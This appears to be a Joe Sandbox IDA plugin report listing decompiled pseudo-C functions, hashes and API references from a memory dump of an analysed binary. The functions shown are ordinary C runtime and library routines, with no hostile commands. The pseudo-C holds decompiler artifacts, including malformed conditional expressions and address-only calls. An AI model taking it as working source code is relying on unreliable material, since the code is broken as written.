Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::details::Thread$H_prolog3SchedulerScheduler::$AcquireBase::CheckConcurrency::details::_ConstructionCreateException@8Lock::_ReentrantStaticThrowstd::bad_exception::bad_exception
String ID:
API String ID: 3422515427-0
Opcode ID: dfe32384f9c00a5c2d26e5e4fec08fe1b23162d87cf6d89f407b317d9ae857ca
Instruction ID: be46a5f70f12d5297dc5af8214b920a7c34847248be39f3dd166c57677edbdc0
Opcode Fuzzy Hash: dfe32384f9c00a5c2d26e5e4fec08fe1b23162d87cf6d89f407b317d9ae857ca
Instruction Fuzzy Hash: 06C0127616010D169F047AA4EC12A29375C8A8076470C0076FE0D85752EF25F950E091

Uniqueness

Uniqueness Score: -1.00%

Function 00B92364 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00B92364(intOrPtr* __ecx) {
				intOrPtr _t84;
				void* _t93;
				struct tagLOGFONTW _t95;

				0xc814d0(4);
				 *((intOrPtr*)(_t93 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx + 0x9c)) = 0;
				 *((intOrPtr*)(__ecx + 0x98)) = 0xd000e4;
				 *((intOrPtr*)(_t93 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0xa4)) = 0;
				 *((intOrPtr*)(__ecx + 0xa0)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xac)) = 0;
				 *((intOrPtr*)(__ecx + 0xa8)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xb4)) = 0;
				 *((intOrPtr*)(__ecx + 0xb0)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xbc)) = 0;
				 *((intOrPtr*)(__ecx + 0xb8)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xc4)) = 0;
				 *((intOrPtr*)(__ecx + 0xc0)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				 *((intOrPtr*)(__ecx + 0xc8)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xd4)) = 0;
				 *((intOrPtr*)(__ecx + 0xd0)) = 0xd000e4;
				 *((intOrPtr*)(__ecx + 0xdc)) = 0;
				 *((intOrPtr*)(__ecx + 0xd8)) = 0xd000d4;
				 *((intOrPtr*)(__ecx + 0xe4)) = 0;
				 *((intOrPtr*)(__ecx + 0xe0)) = 0xd000d4;
				 *((intOrPtr*)(__ecx + 0xec)) = 0;
				 *((intOrPtr*)(__ecx + 0xe8)) = 0xd000d4;
				 *((intOrPtr*)(__ecx + 0x114)) = 0;
				 *((intOrPtr*)(__ecx + 0x118)) = 0;
				 *((intOrPtr*)(__ecx + 0x120)) = 0;
				 *((intOrPtr*)(__ecx + 0x11c)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x128)) = 0;
				 *((intOrPtr*)(__ecx + 0x124)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x130)) = 0;
				 *((intOrPtr*)(__ecx + 0x12c)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x138)) = 0;
				 *((intOrPtr*)(__ecx + 0x134)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x140)) = 0;
				 *((intOrPtr*)(__ecx + 0x13c)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x148)) = 0;
				 *((intOrPtr*)(__ecx + 0x144)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x150)) = 0;
				 *((intOrPtr*)(__ecx + 0x14c)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x158)) = 0;
				 *((intOrPtr*)(__ecx + 0x154)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x160)) = 0;
				 *((intOrPtr*)(__ecx + 0x15c)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x168)) = 0;
				 *((intOrPtr*)(__ecx + 0x164)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x16c)) = 0;
				 *((intOrPtr*)(__ecx + 0x170)) = 0;
				 *((intOrPtr*)(__ecx + 0x174)) = 0;
				 *((intOrPtr*)(__ecx + 0x178)) = 0;
				 *((char*)(_t93 - 4)) = 0x14;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 0x1e4)) = 1;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *(__ecx + 0x1c4) =  *(__ecx + 0x1c4) | 0xffffffff;
				_t84 = 4;
				 *((intOrPtr*)(__ecx + 0x18c)) = 1;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0xf0)) = 0;
				 *((intOrPtr*)(__ecx + 0xf4)) = 0;
				 *((intOrPtr*)(__ecx + 0xf8)) = 0;
				 *((intOrPtr*)(__ecx + 0xfc)) = 0;
				 *((intOrPtr*)(__ecx + 0x108)) = 0;
				 *((intOrPtr*)(__ecx + 0x10c)) = 0;
				 *((intOrPtr*)(__ecx + 0x110)) = 0;
				 *((intOrPtr*)(__ecx + 0x100)) = 0;
				 *((intOrPtr*)(__ecx + 0x104)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 0x198)) = 0;
				 *((intOrPtr*)(__ecx + 0x1e8)) = 0;
				 *((intOrPtr*)(__ecx + 0x1b0)) = 0xd00394;
				 *((intOrPtr*)(__ecx + 0x1b4)) = 3;
				 *((intOrPtr*)(__ecx + 0x1b8)) = 0xe;
				 *((intOrPtr*)(__ecx + 0x1bc)) = _t84;
				 *((intOrPtr*)(__ecx + 0x1c0)) = 0x32;
				 *((intOrPtr*)(__ecx + 0x184)) = 0;
				 *((intOrPtr*)(__ecx + 0x188)) = 0;
				E00B9302F(__ecx, 0, _t95); // executed
				0xc8149e();
				return __ecx;
			}

0x00b9236b
0x00b92372
0x00b9237c
0x00b92382
0x00b92388
0x00b9238b
0x00b92391
0x00b92397
0x00b9239d
0x00b923a3
0x00b923a9
0x00b923af
0x00b923b5
0x00b923bb
0x00b923c1
0x00b923c7
0x00b923cd
0x00b923d3
0x00b923d9
0x00b923e4
0x00b923ea
0x00b923f0
0x00b923f6
0x00b923fc
0x00b92402
0x00b92408
0x00b92413
0x00b92419
0x00b9241f
0x00b92425
0x00b9242b
0x00b92431
0x00b92437
0x00b9243d
0x00b92443
0x00b92449
0x00b9244f
0x00b92455
0x00b9245b
0x00b92461
0x00b92467
0x00b9246d
0x00b92473
0x00b92479
0x00b9247f
0x00b92485
0x00b9248b
0x00b92491
0x00b92499
0x00b924a0
0x00b924a6
0x00b924ac
0x00b924b0
0x00b924b2
0x00b924b8
0x00b924bb
0x00b924be
0x00b924c7
0x00b924c8
0x00b924d0
0x00b924d3
0x00b924d9
0x00b924df
0x00b924e5
0x00b924eb
0x00b924f1
0x00b924f7
0x00b924fd
0x00b92503
0x00b92509
0x00b9250c
0x00b9250f
0x00b92512
0x00b92518
0x00b9251e
0x00b92524
0x00b9252e
0x00b92538
0x00b9253e
0x00b92548
0x00b9254e
0x00b92554
0x00b9255b
0x00b92560

APIs

__EH_prolog3.LIBCMT ref: 00B9236B

Part of subcall function 00B9302F: _memset.LIBCMT ref: 00B9307B
Part of subcall function 00B9302F: VerSetConditionMask.NTDLL(00000000,00000000,00000002,00000003), ref: 00B93092
Part of subcall function 00B9302F: VerSetConditionMask.NTDLL(00000000), ref: 00B93096
Part of subcall function 00B9302F: VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 00B930A3
Part of subcall function 00B9302F: GetSystemMetrics.USER32(00001000), ref: 00B930B4

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ConditionMask$H_prolog3InfoMetricsSystemVerifyVersion_memset
String ID:
API String ID: 361283447-0
Opcode ID: 41cfb35048b1ae8b4cdb6843fe88bb7c44360c3515f60e8d494226ff77a032ca
Instruction ID: 82eda52596fb56d3ee324a48bb0f64f2f68e623f58a0074557f8a316985ad6c2
Opcode Fuzzy Hash: 41cfb35048b1ae8b4cdb6843fe88bb7c44360c3515f60e8d494226ff77a032ca
Instruction Fuzzy Hash: EA51DCB0906F458FD7A9CF3A85417C6FAE0BF89300F108A2E91AED6261EB716184CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00CA96ED Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00CA96D8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: 439b8d1979c100fd377a4c14dc6ad572228f50532875eff51cebb372f90de7ad
Instruction ID: 080dfe3800186e31be2a3adafca5f07bacec820c7042a05e5dff0e4395307480
Opcode Fuzzy Hash: 439b8d1979c100fd377a4c14dc6ad572228f50532875eff51cebb372f90de7ad
Instruction Fuzzy Hash: C8114432A2021767CFA415699C03BBB7799DF937ACF284034FD66D6191EA71CE1282A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B05140 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B05140() {
				intOrPtr _t29;
				signed short _t30;
				intOrPtr _t34;
				intOrPtr _t39;
				signed short _t46;
				void* _t49;
				intOrPtr _t50;
				signed int _t51;
				signed int _t53;
				intOrPtr* _t61;
				signed int _t62;
				signed int _t63;
				void* _t64;

				_t61 =  *((intOrPtr*)(_t64 - 0x18));
				_t62 =  *(_t64 - 0x20);
				_t49 = 0xffff;
				while(1) {
					_t29 =  *((intOrPtr*)(_t64 + 8));
					 *((intOrPtr*)(_t64 - 4)) = 0;
					 *((char*)(_t64 - 0x11)) = 1;
					 *((char*)(_t64 - 4)) = 1;
					_t50 = _t29;
					if(_t49 != _t62) {
						_t30 = E00B0ACB0(_t50);
					} else {
						_t30 = E00B0AC8D(_t50);
					}
					_t62 = _t30 & 0x0000ffff;
					 *((intOrPtr*)(_t64 - 4)) = 0;
					 *(_t64 - 0x20) = _t62;
					if(0xffff == _t62) {
						break;
					}
					 *((char*)(_t64 - 4)) = 3;
					_t46 = E00B0AD38( *((intOrPtr*)( *((intOrPtr*)( *_t61 + 4)) + _t61 + 0x38)), _t62); // executed
					_t49 = 0xffff;
					if(0xffff != (_t46 & 0x0000ffff)) {
						continue;
					} else {
						_t63 = 4;
						_t51 =  *(_t64 - 0x1c) | _t63;
						 *((char*)(_t64 - 4)) = 0;
					}
					L10:
					_t34 =  *((intOrPtr*)( *_t61 + 4));
					 *((intOrPtr*)(_t34 + _t61 + 0x20)) = 0;
					 *((intOrPtr*)(_t34 + _t61 + 0x24)) = 0;
					_t52 =  ==  ? _t51 | 0x00000002 : _t51;
					_t53 =  ==  ? _t63 :  ==  ? _t51 | 0x00000002 : _t51;
					_t39 =  *((intOrPtr*)( *_t61 + 4)) + _t61;
					 *((intOrPtr*)(_t64 + 8)) = _t39;
					if(_t53 != 0) {
						_t60 =  ==  ?  *(_t39 + 0xc) | _t53 | _t63 :  *(_t39 + 0xc) | _t53;
						_t39 = E00B077A4( *((intOrPtr*)(_t64 + 8)),  ==  ?  *(_t39 + 0xc) | _t53 | _t63 :  *(_t39 + 0xc) | _t53, 0);
					}
					E00B04F71(_t39, _t64 - 0x28);
					0xc8149e();
					return _t61;
				}
				_t51 =  *(_t64 - 0x1c);
				_t63 = 4;
				goto L10;
			}

0x00b05140
0x00b05145
0x00b05148
0x00b0514d
0x00b0514d
0x00b05150
0x00b05153
0x00b050b4
0x00b050b8
0x00b050ba
0x00b050c3
0x00b050bc
0x00b050bc
0x00b050bc
0x00b050cb
0x00b050cd
0x00b050d5
0x00b050db
0x00000000
0x00000000
0x00b050e4
0x00b050ef
0x00b050f7
0x00b050ff
0x00000000
0x00b05101
0x00b05106
0x00b05107
0x00b05109
0x00b05109
0x00b05195
0x00b05197
0x00b0519a
0x00b0519e
0x00b051ab
0x00b051b4
0x00b051ba
0x00b051bc
0x00b051c1
0x00b051d3
0x00b051d7
0x00b051d7
0x00b051df
0x00b051e6
0x00b051eb
0x00b051eb
0x00b0518b
0x00b05194
0x00000000

APIs

std::ios_base::clear.LIBCPMT ref: 00B051D7

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: b5bb706a159ca195fafbe97cfda0b1d72986632b2f503e7d613a4237d29a3c8b
Instruction ID: 5fd82762fd2c0eb180d588405f5463b6e010611f07ffa5b6c45feb26658754d1
Opcode Fuzzy Hash: b5bb706a159ca195fafbe97cfda0b1d72986632b2f503e7d613a4237d29a3c8b
Instruction Fuzzy Hash: 84216D74A05246AFDB24DF68C490ABDBFE1AF48304F9480ADE44AEB781DB34DD45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D2D7 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00B6D2D7(signed int __ecx, void* __esi) {
				void* _t15;
				signed int _t17;
				intOrPtr _t18;
				signed int _t21;
				signed int _t22;
				intOrPtr* _t23;
				void* _t24;
				void* _t25;
				void* _t26;

				_t24 = __esi;
				_t20 = __ecx;
				0xc814d0(4);
				_t23 = __ecx;
				if((0 |  *((intOrPtr*)(_t26 + 8)) != 0x00000000) == 0) {
					L1:
					E00B6BD09(_t20);
				}
				if( *_t23 == 0) {
					_t17 =  *0xd6b39c; // 0xd6b368
					if(_t17 != 0) {
						L5:
						_t20 = _t17; // executed
						_t18 = E00B6D10E(_t17); // executed
						 *_t23 = _t18;
						if(_t18 == 0) {
							goto L1;
						}
					} else {
						_t20 = 0xd6b368;
						 *(_t26 - 0x10) = 0xd6b368;
						 *(_t26 - 4) =  *(_t26 - 4) & _t17;
						_t17 = E00B6D024(0xd6b368, _t24);
						 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
						 *0xd6b39c = _t17;
						if(_t17 == 0) {
							goto L1;
						} else {
							goto L5;
						}
					}
				}
				_t21 =  *0xd6b39c; // 0xd6b368
				_t25 = E00B6D377(_t21,  *_t23);
				if(_t25 == 0) {
					_t15 =  *((intOrPtr*)(_t26 + 8))();
					_t22 =  *0xd6b39c; // 0xd6b368
					_t25 = _t15;
					E00B6D42E(_t22,  *_t23, _t25);
				}
				0xc8149e();
				return _t25;
			}

0x00b6d2d7
0x00b6d2d7
0x00b6d2de
0x00b6d2e3
0x00b6d2ef
0x00b6d2f1
0x00b6d2f1
0x00b6d2f1
0x00b6d2f9
0x00b6d2fb
0x00b6d302
0x00b6d321
0x00b6d321
0x00b6d323
0x00b6d328
0x00b6d32c
0x00000000
0x00000000
0x00b6d304
0x00b6d304
0x00b6d309
0x00b6d30c
0x00b6d30f
0x00b6d314
0x00b6d318
0x00b6d31f
0x00000000
0x00000000
0x00000000
0x00000000
0x00b6d31f
0x00b6d302
0x00b6d330
0x00b6d33b
0x00b6d33f
0x00b6d341
0x00b6d344
0x00b6d34a
0x00b6d34f
0x00b6d34f
0x00b6d356
0x00b6d35b

APIs

__EH_prolog3.LIBCMT ref: 00B6D2DE

Part of subcall function 00B6BD09: __CxxThrowException@8.LIBCMT ref: 00B6BD1D

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID:
API String ID: 3670251406-0
Opcode ID: f78cdf1e5d48b5f199188890266628af34124d45be81c4b5d124fd2c15690ba8
Instruction ID: 3dc298721417b1f22e44a067029f48ad51822d922e35e601ae544f4fd3fc03f5
Opcode Fuzzy Hash: f78cdf1e5d48b5f199188890266628af34124d45be81c4b5d124fd2c15690ba8
Instruction Fuzzy Hash: 9C0128B0F003029BDB25BF75D81266D76E1FB603A0B5445AAE805DB3A1EF78CD90CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B09AAE Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B09AB5

Part of subcall function 00B03348: __EH_prolog3.LIBCMT ref: 00B0334F
Part of subcall function 00B03348: std::_Lockit::_Lockit.LIBCPMT ref: 00B03359
Part of subcall function 00B03348: int.LIBCPMT ref: 00B03370
Part of subcall function 00B03348: std::locale::_Getfacet.LIBCPMT ref: 00B03379

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$GetfacetLockitLockit::_std::_std::locale::_
String ID:
API String ID: 326493665-0
Opcode ID: e92ba93d80f5d4c3421f701cd60b0409dc64f15e1cfa40f1fc7cbc578fd857f1
Instruction ID: 7cbf63b6e1c62a55b2bb8d8bfdf2761123a94bc31d42ddbefac545d187a23513
Opcode Fuzzy Hash: e92ba93d80f5d4c3421f701cd60b0409dc64f15e1cfa40f1fc7cbc578fd857f1
Instruction Fuzzy Hash: 2A01A271600351DFCB20EF788841A5EBBE9AF44704B0404AEF646876A3DBB1E810DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C85BEF Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00C85C32

Part of subcall function 00C89047: __getptd_noexit.LIBCMT ref: 00C89047

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: bab9e7437ad7449682e0e48b409c8dacf1bf1c7bbbd00cce2c78bed6db3c52cc
Instruction ID: 730142e1864564a21bcff043029e72fb902531b719ed9d54eaec27f8c33e4318
Opcode Fuzzy Hash: bab9e7437ad7449682e0e48b409c8dacf1bf1c7bbbd00cce2c78bed6db3c52cc
Instruction Fuzzy Hash: 02F0AF31900709EBDF61BF648C067AE3AA1AF0432DF188518F8249A192D7B98A50EF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B03AEB Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00B03AEB(intOrPtr* __ecx) {
				intOrPtr* _t31;
				void* _t32;

				0xc814d0(8);
				_t31 = __ecx;
				 *((intOrPtr*)(_t32 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t32 - 0x10)) = 0;
				if( *((intOrPtr*)(_t32 + 0x10)) != 0) {
					 *__ecx = 0xcf2c38;
					 *((intOrPtr*)(__ecx + 0x18)) = 0xcf2c2c;
					 *((intOrPtr*)(_t32 - 4)) = 0;
					 *((intOrPtr*)(_t32 - 0x10)) = 1;
				}
				 *((intOrPtr*)(_t31 +  *((intOrPtr*)( *_t31 + 4)))) = 0xcf2c34;
				 *((intOrPtr*)( *((intOrPtr*)( *_t31 + 4)) + _t31 - 4)) =  *((intOrPtr*)( *_t31 + 4)) - 0x18;
				 *((intOrPtr*)(_t31 + 8)) = 0;
				 *((intOrPtr*)(_t31 + 0xc)) = 0;
				E00B098C0( *((intOrPtr*)( *_t31 + 4)) + _t31,  *((intOrPtr*)( *_t31 + 4)) + _t31,  *((intOrPtr*)(_t32 + 8)),  *((intOrPtr*)(_t32 + 0xc))); // executed
				0xc8149e();
				return _t31;
			}

0x00b03af2
0x00b03af7
0x00b03af9
0x00b03afe
0x00b03b04
0x00b03b06
0x00b03b0c
0x00b03b13
0x00b03b16
0x00b03b16
0x00b03b28
0x00b03b37
0x00b03b3d
0x00b03b40
0x00b03b48
0x00b03b4f
0x00b03b54

APIs

__EH_prolog3.LIBCMT ref: 00B03AF2

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: acea5a277c01df6875f10a1e01371c5f9867826e5f15fe75200564852791c7d6
Instruction ID: 24a32a2987d29ed6d8771d249c9e0b6ac7f7bda38addb63f2d98b02d35cd6970
Opcode Fuzzy Hash: acea5a277c01df6875f10a1e01371c5f9867826e5f15fe75200564852791c7d6
Instruction Fuzzy Hash: A801F6B4A00609CFCB25DF19C54096EBBF0BF48308B64C85DE5989B361D772AA41DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00B023D6 Relevance: 1.5, APIs: 1, Instructions: 30
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E00B023D6(intOrPtr* __ecx, char _a4, intOrPtr _a8) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t13;
				intOrPtr* _t14;

				_t13 = _a8;
				_t14 = __ecx;
				if(_a4 != 0 &&  *((intOrPtr*)(__ecx + 0x14)) >= 0x10) {
					_t9 =  *__ecx;
					if(_t13 != 0) {
						0xc819a0(__ecx, _t9, _t13);
					}
					_push(_t9); // executed
					_t7 = E00B6BCBD(_t7); // executed
				}
				 *((intOrPtr*)(_t14 + 0x10)) = _t13;
				 *((intOrPtr*)(_t14 + 0x14)) = 0xf;
				 *((char*)(_t13 + _t14)) = 0;
				return _t7;
			}

0x00b023df
0x00b023e2
0x00b023e4
0x00b023ed
0x00b023f1
0x00b023f6
0x00b023fb
0x00b023fe
0x00b023ff
0x00b02405
0x00b02406
0x00b02409
0x00b02410
0x00b02417

APIs

_memmove.LIBCMT ref: 00B023F6

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 394a6f2ed580e98d925fb0ae83195fb2808cbbd027d7dfc278bba2a4a9ca270a
Instruction ID: 0f5820724a6b1184d675a1873a1dc87c162589fb8608f86e63f73217b7671e51
Opcode Fuzzy Hash: 394a6f2ed580e98d925fb0ae83195fb2808cbbd027d7dfc278bba2a4a9ca270a
Instruction Fuzzy Hash: 9EE0E5724007046AD3306F09A844F17FFECEF81720F54055EE94553642C775A59886F5

Uniqueness

Uniqueness Score: -1.00%

